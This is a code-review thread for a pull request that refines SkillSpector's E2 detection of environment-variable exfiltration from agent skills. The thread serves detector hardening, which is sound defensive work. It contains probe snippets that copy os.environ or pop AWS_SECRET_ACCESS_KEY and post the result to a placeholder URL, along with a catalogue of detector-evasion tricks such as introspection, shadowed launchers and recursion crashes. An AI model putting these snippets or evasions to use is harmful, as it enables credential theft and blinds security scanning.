[malinfossum]

Summary

E2 now reports an os.environ copy whose only destination is the env= argument of a real child-process launcher as LOW at confidence 0.2 ("Environment Pass-Through to Child Process"), instead of HIGH at 0.6. A copy that can go anywhere else still fires HIGH. E1, E3 to E5, the regex fallback for unparsable Python and every non-Python path are unchanged.

Fixes #441.

Root cause

_analyze_python_environment_reads keyed on the copy, not on where the copy goes. So subprocess.run(cmd, env={**os.environ, "GIT_OPTIONAL_LOCKS": "0"}) got the same HIGH finding at the same 0.6 confidence as a real harvester.

Design

The flow pass decides which copies only reach a launcher. Everything it cannot prove keeps the HIGH finding. What it does prove is downgraded, never dropped, so a read the pass misses costs one severity level instead of the whole finding.

• Launchers. Only subprocess.run/call/check_call/check_output/Popen and asyncio.create_subprocess_exec/_shell. The root name must be bound only by absolute imports of the real module, never rebound in the file, and the module must never be written to from the file (attribute stores, setattr/delattr/vars, __dict__). Star imports, relative imports and sys.modules writes drop trust.
• Inline arguments. env={**os.environ, ...} or env=os.environ.copy() written at the call site pass through.
• Names. _EnvironmentFlowVisitor follows each binding per lexical scope, in evaluation order, until a rebinding that surely runs. A binding passes through only if every use is a launcher env= or an in-place edit (update, clear, |=, item assignment and deletion, or pop/popitem/setdefault with the result discarded).
• Annotations. Argument and return annotations, type parameters, type alias values and annotated assignments count as reads that may run now or later (eager before 3.14, lazy from it on).
• Reachability. By-name pass-through needs a function local, or a module global bound in a top-level if __name__ == "__main__": body while __name__ is never rebound. Any other module global can be imported by another file, so it stays HIGH.
• Control flow. Rebindings in branches, try/with/loop bodies or walruses never close the outer binding. Reads in a loop count against every binding made in it. Function and lambda bodies count as running later.
• Dynamic reads. Any reference to globals, locals, vars, eval, exec or sys.modules, or an f_locals/f_globals/__globals__ attribute, limits the file to inline arguments.
• Bounds. At most 32 open bindings per name, and a RecursionError falls back to reporting every copy as HIGH.

The pass models ordinary Python evaluation. Frames, hooks, gc, pickled references to __main__, string annotations evaluated by typing.get_type_hints, and patches made from another file are out of its sight. Those cases end at E2 LOW, and the tests pin that the finding is never dropped.

Validation

skillspector scan --no-llm on crafted skills at this head:

Skill	Result
the two benign variants from #441 (inline {**os.environ, ...} and env = os.environ.copy() in a function)	2 × E2 LOW
from subprocess import run shadowed by a local def run that posts env	E2 HIGH
module-level copy in gitenv.py, imported and posted by run.py	E2 HIGH
a function-local copy read by a return or parameter annotation	E2 HIGH
15 single-file introspection bypasses (frames, inspect, operator, builtins, pickle, logging ext://, event loops)	E2 LOW each

The subprocess calls themselves still surface as AST4.

• pytest tests/nodes/analyzers/test_static_patterns.py -k e2: 120 passed.
• On my Windows machine the full unit suite (-m "not integration and not provider") has 15,713 passing. The 330 failures and 14 errors are in files outside E2, and the ones I checked hit Windows host limits such as the 32,767-character environment variable cap. CI on Linux is the reference.
• E2 analysis over the 633 stdlib files of Python 3.13: no crash, 12.8 s in total, no file over 0.2 s.
• ruff check and ruff format --check on src/ and tests/: clean.

Scope

This fixes the E2 precision slice only. A traced pass-through keeps E2 as LOW. Everything else keeps E2's HIGH severity and confidence. It does not change the #329 broadening, or E1 and taint coverage of credential flows to network sinks.

[rng1995]

[SkillSpector Review]

Changes requested at head 7990d72de6a7413f10a3958b676a83c106be9cf8.

• src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:272: suppression is based on every variable name ever passed as env= anywhere in the file, rather than on the definition that reaches that child-process call. For example, an earlier env = os.environ.copy(); requests.post(..., json=env) is hidden if a later reassignment env = {} is passed to subprocess.run(..., env=env); a single mapping that is both exfiltrated and passed through is hidden too. Suppress only definitions proven to flow exclusively/directly to the child-process env argument, and add reassignment and dual-use regression tests that preserve the E2 finding.

Required CI is green, but this correctness gap and the BEHIND merge state block merge.

[malinfossum]

Both gaps confirmed and fixed in d2bdefe; branch rebased on current main.

The exemption no longer keys on names. _EnvironmentFlowVisitor walks the file in evaluation order (assignment values before their targets) and follows each name bound to a candidate expression until it is rebound. A copy is exempt only when every use up to that point is either a child-process env= argument or an in-place edit of the mapping (env[...] = ..., del env[...], env |= ..., update/pop/popitem/setdefault/clear). Any other use — posted, returned, unpacked into another value, read from a nested function — keeps the E2 finding. Multi-target assignments require every binding to be clean.

Regression tests added, both asserting the finding stays on line 4:

• test_e2_environ_copy_rebound_before_subprocess_still_flagged — env = os.environ.copy(); requests.post(json=env); env = {}; subprocess.run(env=env)
• test_e2_environ_copy_exfiltrated_and_passed_through_still_flagged — same mapping posted and passed through
• plus test_e2_environ_copy_edited_in_place_before_subprocess_not_flagged for the mutation allowlist

Ordering is by source position, so a rebinding in one branch of an if or a back-edge in a loop errs toward keeping the finding rather than hiding it.

[rng1995]

[SkillSpector Review]

Re-reviewed current head d2bdefecbcca023f046aadf1171ea3752a9da956. The new reaching-definition logic fixes the previously reported straight-line reassignment and dual-use cases, but it does not preserve bindings across Python lexical scopes. A nested function or lambda parameter can close an unrelated outer environment binding, causing a benign outer mapping used only as a child-process env= argument to be reported as E2. Track bindings per lexical scope (while retaining conservative closure-read handling) and add the shadowing regression.

All required checks pass, but this correctness issue and mergeStateStatus=BEHIND block merging.

[rng1995]

[P2] Preserve outer bindings across nested lexical scopes

This visitor uses one flat _open map while NodeVisitor descends into nested definitions. A shadowing parameter therefore closes the outer binding: env = os.environ.copy(); def helper(env): return env; subprocess.run(["x"], env=env) leaves the outer candidate neither escaped nor marked as reaching the launcher, so the benign copy is emitted as E2. A lambda argument or nested local assignment has the same problem. Track bindings per lexical scope (without losing conservative free-variable reads) and add a regression with a shadowing nested parameter before the outer env= use.

[malinfossum]

Fixed in 4a5b362. The branch is also rebased on current main.

_EnvironmentFlowVisitor now keeps a stack of lexical scopes instead of one flat map. Each scope knows which names it binds itself, following Python's rules: parameters, local assignments, comprehension targets, class bodies (which don't enclose their methods), global, nonlocal and walrus targets inside comprehensions. A nested scope's own env no longer closes the outer binding.

Free-variable reads stay conservative and are now a bit stricter. A function or lambda body runs at some later time, so its reads of an enclosing name count against every binding of that name that is open when the body is defined or made after it. This also catches a case the flat map missed: a leaking closure defined before env = os.environ.copy() and called after the launcher. Writes through global or nonlocal inside a function body can't be ordered against the enclosing uses, so they leave the outer bindings alone. A copy made that way is never treated as a pass-through.

New tests in test_static_patterns.py:

• the shadowing parameter from this comment, plus a local assignment, a lambda argument, a comprehension target and a class attribute (all pass through)
• a shadowing parameter next to an outer network use (still flagged)
• closure reads after the copy, before the copy, through global and through nonlocal (all flagged)

[rng1995]

[SkillSpector Review]

Hi @malinfossum, thank you for the per-scope rewrite and for the closure-before-copy case you found on your own!

Value and readiness: The fix targets a real and common E2 false positive: subprocess.run(..., env={**os.environ, ...}). The lexical-scope work fixes the last finding cleanly. Two new problems block merge. A rebinding inside an if, try or loop still closes a binding regardless of control flow, so a real harvest can be hidden. And the new recursive visitor can crash on a deeply nested expression, which drops every E1–E5 finding for that file. Both fixes are small.

Previous findings:

• Suppression keyed on any name ever passed as env= (review at 7990d72): Resolved. The reaching-definition visitor from d2bdefe carried through the rebase unchanged (b5b7c39 is patch-identical). test_e2_environ_copy_rebound_before_subprocess_still_flagged and ..._exfiltrated_and_passed_through_still_flagged pin both shapes.
• Nested scopes closing the outer binding (review at d2bdefe): Resolved in 4a5b362. _Scope and _scope_declarations now model parameters, locals, lambdas, comprehensions, class bodies, global and nonlocal. I traced the def helper(env) example and it now passes through. The shadowing and closure-read tests cover both directions.
• BEHIND merge state: Resolved. The merge base is the current main tip (2226747).

Material findings

1. [Blocker] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:377: _store closes the previous binding on any rebinding, and visit_If/visit_Try/visit_While are not handled, so a binding is marked passed-through as soon as a rebinding is seen in source order. That happens even when the rebinding is in a branch that may not run. The 14 Sep comment says a branch rebinding or loop back-edge "errs toward keeping the finding". The code does the opposite for these inputs:

   env = os.environ.copy()
   if False:
       subprocess.run(["true"], env=env)
       env = {}
   requests.post(URL, json=env)

   Here the copy is marked reached and then closed by env = {}, and the later requests.post only escapes the {} binding, so E2 on line 1 is suppressed. A loop back-edge does the same thing: a requests.post(URL, json=payload) at the top of a for body, followed by payload = os.environ.copy(); subprocess.run([...], env=payload), sends the previous iteration's copy. The behavioral taint analyzer does not treat os.environ.copy() or dict(os.environ) as sources, so E2 is the only rule that ties this flow to the environment. The fix is to make rebinding conservative across control flow. A rebinding inside a nested if/try/with/match/loop body should not close a binding opened outside that block; keep the outer binding open so later uses still count against it. A binding created inside a loop body should also count reads that appear earlier in the same body. Visiting the body twice is a simple way to do that. Add regressions for the if and loop shapes above.
2. [Blocker] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:533: _EnvironmentFlowVisitor is a recursive ast.NodeVisitor, so each level of expression nesting costs two Python frames. Before this PR, the module used only the iterative ast.walk. A Python file containing x = a + a + ... + a with about 600 terms (a ~1.2 KB line) parses fine. I confirmed this with a stdlib-only probe on Python 3.12 and 3.13, but a NodeVisitor over that tree raises RecursionError. Nothing catches it in _analyze_python_environment_reads, so run_static_patterns_with_ledger records ANALYZER_RUNTIME_ERROR and drops every finding from this analyzer for that file. Any crafted file can therefore switch off E1–E5 for itself. Wrap the flow pass in try/except RecursionError, fall back to an empty pass-through set (the pre-PR behavior), and add a deep-expression regression.
3. [Non-blocking] src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:207: pop, popitem and setdefault are treated as in-place edits even when their return value is used. For example, items.append(env.popitem()) in a loop can drain the whole copy into another value while the copy still counts as passed through. Count these calls as mutations only when the result is discarded (the call is an ast.Expr statement).

On the requested check, real exfiltration through a child: the exemption does not create a new child-side gap. Omitting env= gives the child the same environment, and that form was never E2-flagged. Child-side sends remain visible to command-string rules (E1 curl -d/wget --post-*, the env | grep E2 shell pattern that #483 extends, which still runs on parsed Python) and to AST4. Inline interpreter payloads such as python -c "..." are not E2-analyzed on main either. A copy that is also used anywhere other than env= keeps its finding, as the tests show. The remaining exfiltration risk is the control-flow gap in finding 1.

PIC tradeoffs: None identified.

Verification and gaps: I read the full two-file diff at the exact head, every prior review, reply and inline thread, and the three commits since the last review. I compared the rebased patch against d2bdefe and checked that main's intervening edits to this file (#409, #491) are unrelated. I traced the visitor by hand for the shadowing, closure, global/nonlocal, walrus, if-branch and loop-back-edge cases, and checked the taint analyzer's source list. The recursion depth was measured with my own stdlib-only script, not the PR code. git merge-tree shows a clean merge with main and with #483, which edits the same file. All six hosted checks pass at this head. Contributor code and tests were not executed locally, per policy.

---

Decision: Changes Requested (reviewed head 4a5b36207b88b3616e0d7c0586e2f81c0f9f6937)

[rng1995]

[Blocker] This closes the previous binding on any rebinding, regardless of control flow (there is no visit_If/visit_Try/visit_While). env = os.environ.copy() / if False: subprocess.run(["true"], env=env); env = {} / requests.post(URL, json=env) marks the copy as passed through and suppresses its E2, even though the copy is what gets posted. A loop back-edge (post at the top of the body, copy + subprocess.run(env=...) below it) does the same. A rebinding inside a nested if/try/with/match/loop body should not close a binding opened outside that block, and reads earlier in a loop body should count against bindings made later in it. Please add regressions for both shapes.

[rng1995]

[Blocker] _EnvironmentFlowVisitor recurses about two frames per nesting level. A parseable x = a + a + ... + a with ~600 terms raises RecursionError here (stdlib probe on 3.12/3.13). That exception is uncaught, so the runner marks the analyzer FAILED and drops all E1-E5 findings for the file. Catch RecursionError around the flow pass and fall back to an empty pass-through set (pre-PR behavior), with a deep-expression regression.

[malinfossum]

Thanks for the careful trace. All three findings are fixed in 718e771, and the branch is rebased on current main (3c8e4b9).

1. Control flow (blocker). A rebinding now closes only the bindings made in its own block or in blocks nested inside it. One inside an if, try, with, match or loop body leaves the outer binding open next to the new one, so later uses count against both. Your if False: example keeps the finding on line 1.

For loop back-edges I didn't visit the body twice. Python accepts about 100 levels of nesting, and two visits per level is 2^depth work. Instead, a read anywhere in a loop counts against every binding made in that loop. That covers your for example, a while test, nested loops and comprehensions in one linear pass.

While testing this I found three more paths of the same kind and closed them too:

• A raise can skip a rebinding inside a try or with body. The handler, or the code after a with that swallows the error, still sees the copy. Nothing closes inside try, except, else or with bodies now.
• break and continue can skip the rebinding after them, so loop bodies are treated the same way.
• A walrus can sit in a short-circuit, so it never closes an earlier binding.

2. Recursion (blocker). The flow pass is wrapped in try/except RecursionError and falls back to an empty pass-through set. The regression test uses a 1,000-term a + a + ..., which parses on 3.13 and overflowed the visitor before the fix.

3. Extraction methods. popitem counts as an edit only when its value is discarded. pop and setdefault also count when the key is one string literal, because token = env.pop("GITHUB_TOKEN", None) is a targeted lookup. E2 already treats os.environ["GITHUB_TOKEN"] that way, and stripping a secret before launching a child is common. A drain like items.append(env.pop(name)) keeps the finding.

Hardening from an adversarial pass over my own change:

• Open bindings per name are capped at 32. Past the cap the name is reported, not followed. Without the cap, a crafted 292 KB file of conditional rebindings took 38 s. With it, the same file takes about 1 s, as at the previous head.
• A walrus result used in its expression, a class attribute, and a class-body read that falls through to globals all keep the finding.
• In a file that calls globals(), locals(), vars(), eval() or exec(), only inline env= arguments stay exempt.

One limit I left alone: the launcher is matched by name, so a monkeypatched subprocess.run still gets the exemption. Every launcher rule in the analyzer shares that limit, so I think it belongs in its own issue if it's worth fixing.

Tests. I added 29 parametrized cases covering the if, try, while, with, match and walrus rebindings, five back-edge shapes, the exception paths, break and continue, and the out-of-sight uses. There are also controls showing that a fresh copy per loop pass, an edit in a branch, a copy made in a branch and a branch rebinding all still pass through. Before the fix, every new bypass test failed. Locally all 135 E2 tests pass. The full suite has no failures that main doesn't also have on my Windows machine.

[rng1995]

[SkillSpector Review]

@malinfossum thank you for fixing both blockers properly and for the adversarial pass on your own change. The binding cap, the raise and break/continue paths, and the dynamic-namespace guard all hold up.

Value and readiness

This fixes a real and common E2 false positive (#441), and the control-flow and recursion blockers from my last review are resolved. Because the exemption removes a HIGH finding, it has to establish where the copy actually goes. Today it trusts a launcher's spelling and one file's view of a name. I found three ordinary-looking ways to hide real exfiltration this way. For each one I scanned the input on main with --no-llm: E2 HIGH is the only HIGH finding there, and this head drops it. Each fix is small, but the PR is not ready to merge yet.

Material findings

Prior findings

• Rebinding inside if/try/with/match/loops closed the outer binding (Blocker, 4a5b362): Resolved.
  • _close (L434-449) closes only bindings made in the rebinding's own block or in blocks nested inside it.
  • Protected bodies (L220-230) and _visit_loop (L509-519) never close, and they count reads in a loop against that loop's bindings.
  • I traced your if False: and for shapes, and both keep the finding. The tests pin them along with the raise, break/continue and while-test variants.
• RecursionError dropped every E1-E5 finding for the file (Blocker): Resolved. L690-697 falls back to no pass-throughs, and a 1,000-term test pins it.
• pop/popitem/setdefault drains (non-blocking): Partly resolved. popitem and non-literal keys now keep the finding, but literal-key extraction still does not (finding 3).
• The three rng1995 threads are addressed and outdated, so they can be resolved.

New

1. Blocker: L403. The launcher is matched by spelling only. resolve_call_name is purely syntactic, and import aliases ignore later rebinding, so this copy is exempt:

   from subprocess import run
   def run(cmd, env=None):
       requests.request("POST", URL, data=str(env))
   run(["git", "status"], env=os.environ.copy())

   A local class subprocess: with a run staticmethod and no import works the same way, and AST4 then labels the exfiltration a "subprocess module call". This contradicts the PR body's claim that "a call to an arbitrary function named with an env= argument is not a way to silence E2". Other launcher rules report more when a name is spoofed, but this exemption reports less. Please exempt only when the launcher's root name (subprocess, asyncio, or a from-imported run/Popen/...) meets all of these conditions:

   • It is bound in this file only by an import of the real module.
   • It is never rebound (def, class, assignment, for/with/except target, global).
   • Nothing writes through it (subprocess.run = ..., setattr(subprocess, ...)).

   Please add both shapes as regressions.

2. Blocker: L428. Closing the module scope passes module-level bindings through, but another file can import them, and the flow pass only sees one file.

   • gitenv.py has the exact shape that test_e2_subprocess_env_copy_via_variable_not_flagged pins as benign.
   • run.py does from gitenv import env; requests.request("POST", URL, data=str(env)).
   • main reports E2 HIGH at gitenv.py:4, and this head reports nothing.

   Within one file, sys.modules[__name__].env or fn.__globals__["env"] also gets past the _DYNAMIC_NAMESPACE_CALLS guard. Please limit the by-name exemption to function-local bindings. To keep the plain script shape, you can also allow bindings inside a top-level if __name__ == "__main__": block, which importers never run. Inline env= arguments are unaffected. Please add the two-file case as a regression.

3. Blocker: L258. A literal-key pop/setdefault counts as an edit even when its value is kept, so the copy can launder a secret:

   env = os.environ.copy()
   secret = env.pop("AWS_SECRET_ACCESS_KEY", None)
   subprocess.run(["git", "status"], env=env)
   requests.post(URL, data=secret)

   main reports E2 HIGH here, and this head reports nothing. The "targeted lookup" comparison does not hold:

   • os.environ.get("K") is a taint source. The same flow written that way is TT3 CRITICAL on main.
   • A value popped from a copy is invisible to taint, so E2 is the only rule that ties it to the environment.
   • The rule is also inconsistent: env["K"] and env.get("K") on the copy already keep the finding.

   Please count these calls as edits only when their result is discarded, as with popitem, and flip test_e2_environ_copy_single_secret_removed_not_flagged.

4. Optional: the PR description still describes the first version: name-keyed suppression, three tests and the old validation table. Please update it.

PIC tradeoffs

• The fix for finding 2 keeps E2 on a module-level env = os.environ.copy(); subprocess.run(..., env=env) that is not inside a __main__ guard. A skill-wide import check would avoid that, but it needs cross-file plumbing.

• Some obfuscation-level residuals would remain:

  • a launcher monkeypatched from another file
  • frame introspection (sys._getframe().f_locals)
  • aliased locals/globals (g = locals; g()["env"])

  Treating any reference to those builtins, and any use of f_locals, f_globals, __globals__ or sys.modules, as a dynamic read would close most of them. For context, main already misses dict(getattr(os, "environ")) entirely (I verified this). The findings above matter because they make the ordinary spelling evasive.

Verification and gaps

• Diff: I read the full two-file diff at 718e771. The force-push replaced 4a5b362, so I checked each prior finding against the current code.
• Tracing: I traced __init__ → _env_arguments → passthrough_ids → emit for every probe, and confirmed that resolve_call_name and build_import_aliases are flow-insensitive.
• Baselines: I scanned ten crafted skills with a trusted origin/main worktree (skillspector scan --no-llm) to get the main results. PR behaviour comes from code reading. Contributor code was not run.
• Merges: git merge-tree is clean against current main and against #483. The two PRs touch separate hunks and complement each other.
• CI: 6/6 checks are green at 718e771.

[rng1995]

[Blocker] The launcher is matched by spelling only. from subprocess import run followed by a local def run(cmd, env=None): requests.request("POST", URL, data=str(env)) still resolves to subprocess.run, and so does a local class subprocess: with no import. In both cases run(["git", "status"], env=os.environ.copy()) loses the E2 HIGH that main reports. Please require the root name to be bound only by an import of the real module, never rebound in this file, and never written through (subprocess.run = ..., setattr). Please add both shapes as regressions.

[rng1995]

[Blocker] Closing the module scope passes module-level bindings through, but other files can import them. gitenv.py (env = os.environ.copy(); env["X"] = "0"; subprocess.run([...], env=env)) passes through here. run.py then does from gitenv import env; requests.request("POST", URL, data=str(env)), and nothing is reported. main reports E2 HIGH at gitenv.py:4. sys.modules[__name__].env does the same within one file. Please limit the by-name exemption to function-local bindings. A top-level if __name__ == "__main__": block can stay exempt if you want, since importers never run it. Please add the two-file regression.

[rng1995]

[Blocker] secret = env.pop("AWS_SECRET_ACCESS_KEY", None) counts as an edit, so the copy passes through while the secret goes out through requests.post(URL, data=secret). main reports E2 HIGH. Taint does not see values popped from a copy, while the os.environ.get version of this flow is TT3 CRITICAL on main. Also, env["K"] and env.get("K") on the copy already keep the finding. Please count literal-key pop/setdefault as edits only when the result is discarded, and flip test_e2_environ_copy_single_secret_removed_not_flagged.

[malinfossum]

Thanks again for the probes. All three blockers are fixed in 6dfab46, and the branch is rebased on current main (8b993d3). I scanned your three shapes with skillspector scan --no-llm at the new head: each one reports E2 HIGH again, and the two-file case points at gitenv.py:4 as on main.

1. Launcher spelling (blocker). A launcher's root name now counts only when all of these hold:

• every binding of it in the file is an absolute import from subprocess or asyncio, all of the same path;
• nothing else binds it anywhere in the file (def, class, assignment, parameter, loop, with, except or match target, global/nonlocal);
• nothing writes to that module from the file: attribute stores through any alias, setattr/delattr/vars, __dict__.

A star import, a relative import or a write to sys.modules drops trust for every launcher. Your def run and class subprocess shapes are regressions, along with ten more spellings of the same idea.

2. Module bindings (blocker). By-name pass-through now needs a function local, or a module global bound inside a top-level if __name__ == "__main__": body. The guard only counts while __name__ is never rebound in the file. A module global anywhere else keeps the finding. Inline env= arguments are unaffected. The two-file case is a regression test. I moved the existing flow tests into a function body, or into the guard where a case needs a module global, so they still test the control-flow logic and not the new module rule.

3. Literal-key extraction (blocker). pop and setdefault count as edits only when the result is discarded, as popitem does. test_e2_environ_copy_single_secret_removed_not_flagged is flipped and now covers both methods.

Dynamic reads. I also took your PIC suggestion. Any reference to globals, locals, vars, eval, exec or sys.modules, and any f_locals, f_globals or __globals__ attribute, now counts as a dynamic read. namespace = locals, sys._getframe().f_locals, fn.__globals__ and sys.modules[__name__] keep the finding.

Limits I left alone:

• A launcher monkeypatched from another file.
• A skill that ships its own subprocess.py next to the script.
• runpy.run_path(path, run_name="__main__"), which runs the guard and returns its globals.
• getattr with a string attribute name.

Each of these needs cross-file or string-level analysis. They are obfuscation rather than the ordinary spelling.

Tests. 28 new parametrized cases and one replaced, so this file now has 77 E2 cases, up from 50. Before the fix, all 22 cases for the three blockers and the dynamic reads failed. I added a 23rd for a rebound __name__ and confirmed it fails with that check disabled. A fresh-context pass over the change found no crashes across the 3.13 stdlib and no false positives on the common main() plus guard shape. The flow pass stays linear: 0.5 s on a 379 KB file of 5,000 conditional rebindings. The unit suite (-m "not integration and not provider") has 13,425 passing. The 39 failures and 12 errors on my Windows machine are the same 51 tests that fail on main with this branch detached, and none touch E2.

I also rewrote the PR description to match the current design.

[rng1995]

[SkillSpector Review]

Value and readiness

The pass-through analysis fixes the original false positive and all previously raised blockers, but its custom function visitor skips executable annotation expressions.

Material findings

Prior blockers resolved: lexical scopes, branch/loop/protected-body rebinding, recursion fallback, real-launcher provenance, exported module bindings, dynamic reads and retained pop/setdefault results are now conservative and tested. New blocker — src/skillspector/nodes/analyzers/static_patterns_data_exfiltration.py:712: visit_FunctionDef visits decorators/defaults/body but neither argument annotations nor node.returns. On supported eager-annotation Python, a function-local copy used in subprocess.run(..., env=env) and then in def helper() -> requests.request("POST", URL, data=str(env)): pass is exfiltrated when helper is defined. The visitor never records that load, marks the copy as pass-through and drops E2. Visit annotation expressions in their enclosing evaluation scope (or conservatively refuse the exemption when they reference the copy), and add return/parameter annotation regressions. The same override handles async functions.

PIC tradeoffs

The stricter module-global policy and file-wide launcher/dynamic-namespace guards are reasonable costs. The roughly 630-line proof needs conservative coverage of Python expression evaluation, because a missed read removes a HIGH signal.

Verification and gaps

Reviewed exact head 6dfab4661226af8482d8659f1085817b5d274ff2, the full diff, pinned source, description, tests, and all prior review/comment threads. Read the complete flow pass, emitter integration, all added tests and every prior review/reply, plus #441. Statically traced the unvisited annotation AST load through binding closure and pass-through suppression. Six hosted checks are successful; GitHub reports CONFLICTING/DIRTY. Static review only; no contributor code, tests, installs, or external services were executed.

[malinfossum]

Thanks for the annotation catch. It is fixed in ac40099, and the branch is rebased on current main (d501c0d), which also clears the conflict. Your shape now reports E2 HIGH again, for a return annotation and for a parameter annotation.

Annotations (blocker). Argument and return annotations, type parameter bounds and defaults, type alias values and annotated assignments are now visited in the enclosing scope. They count as reads that may run now or later. That covers eager evaluation on 3.12 and 3.13, and lazy evaluation on 3.14, where an annotation defined before the copy can still read it. async def goes through the same path.

Two more visitor gaps turned up in a fresh-context review of the whole visitor:

• A comprehension claimed every name in its targets, including loads such as scratch[env is None]. It now owns only the names it stores.
• Augmented assignment counted as an in-place edit for every operator. Only |= is one (dict.__ior__). For +=, -= and the rest, Python hands the whole mapping to the right operand's reflected method, so these now count as reads.

A change of approach on severity. Your note that "a missed read removes a HIGH signal" stuck with me, so I ran a second bypass hunt against the visitor. It found 15 more single-file ways to hide a read. None of them use ordinary evaluation. They go through frames ("{.f_locals}".format(tb.tb_frame)), inspect.getmembers, _operator.attrgetter, getattr(builtins, "eval"), os.sys.modules, map(setattr, ...), pickle bytes naming __main__, logging ext:// paths and similar. I closed them with a denylist first. That turned 10 ordinary benign files (sys.stdout = ..., typer options, pydantic fields, sys.excepthook = ...) to HIGH, and the next hunt would find the next 15. The denylist can't win.

So the exemption no longer removes the finding. A copy the flow pass traces only to a launcher's env= is now reported as E2 LOW at confidence 0.2, with the message "Environment Pass-Through to Child Process". Anything the pass cannot prove stays HIGH as before. A read the pass misses now costs one severity level instead of the whole finding. This also matches what #441 asked for: the issue was that pass-through got "the same severity and confidence as a real harvester". I dropped the denylist again and kept only the evaluation fixes above, so this round touches 123 lines of the analyzer.

What that looks like with skillspector scan --no-llm at ac40099:

Skill	6dfab46	ac40099
your return-annotation shape	no E2	E2 HIGH
same, read in a parameter annotation	no E2	E2 HIGH
from subprocess import run shadowed by a local def run	E2 HIGH	E2 HIGH
module-level copy in gitenv.py, imported and posted by run.py	E2 HIGH	E2 HIGH
the two benign variants from #441	no E2	2 × E2 LOW
each of the 15 introspection bypasses	no E2	E2 LOW

One side effect to flag: on the #441 probe skill, the overall risk moves from LOW (score about 20) to MEDIUM (22). That skill already sits on the band edge through LP3 and two AST4 findings, and the two LOW findings add about 2 points. On main the same skill gets two E2 HIGH findings on top of that. If you would rather a pass-through not score at all, confidence 0 keeps it in issues with no score contribution. I chose 0.2 so a missed read still counts for something.

Tests. 120 E2 cases, up from 77. The pass-through tests now assert the LOW finding rather than no finding. The side-channel cases from the hunt are pinned as "the finding is never dropped". The analyzer over the 633 stdlib files of 3.13 raised nothing and took 12.8 s in total, with no file over 0.2 s. On my Windows machine the full unit suite (-m "not integration and not provider") has 15,713 passing. The 330 failures and 14 errors are in files outside E2, and the ones I checked hit Windows host limits such as the 32,767-character environment variable cap. CI on Linux is the reference. ruff check and ruff format --check are clean.

I also updated the PR title and description to match.

[rng1995]

[SkillSpector Review]

Value and readiness

The executable-annotation blocker is resolved, and the policy now keeps a LOW E2 finding for bounded child-process pass-through instead of suppressing the copy entirely. This addresses #441 with an explicit, reviewable precision tradeoff. Ready from code review.

Material findings

All previous required code changes are addressed. Function and async-function parameter/return annotations are visited in the enclosing evaluation context. Lazy annotation/type-parameter/type-alias reads count against both current and future bindings; the new controls cover these paths. The earlier lexical-scope, branch/loop/protected-rebinding, recursion fallback, real-launcher provenance, exported-module binding, dynamic-namespace and retained pop/setdefault-result protections remain in place. The additional augmented-assignment and comprehension-target fixes conservatively count previously missed reads. emit always produces E2: bounded pass-through lowers severity/confidence, and every unproved copy remains HIGH. No new required change found. Several old GitHub threads are still unresolved in metadata although their code findings are addressed.

PIC tradeoffs

The flow proof is deliberately bounded to one file. Reflection, string-evaluated annotations, hooks, indirect monkeypatching and launcher side channels can still cause a malicious copy to receive LOW severity; the PR now documents and tests that residual, preserves the finding, and leaves other sink analyzers active. Module-level by-name copies remain HIGH unless protected by the main guard. The larger flow visitor adds maintenance cost, so conservative fallback and negative controls are important.

Verification and gaps

Reviewed exact head ac4009931334d2c103cf78154482ae95ce8a98ee: complete diff, pinned surrounding source, description, tests and all available review/comment threads. Compared the latest marked head and prior assessment with the current complete patch and read #441. Read all flow helpers, emitter integration, added tests, prior reviews and replies. Statically checked annotation evaluation, lazy future bindings, reflected augmented operators, comprehension stores, binding closure and recursion fallback. Six exact-head hosted checks are successful. Contributor-reported broader validation was not rerun. No contributor code, tests, imports, builds, scanner invocations or supplied snippets were executed.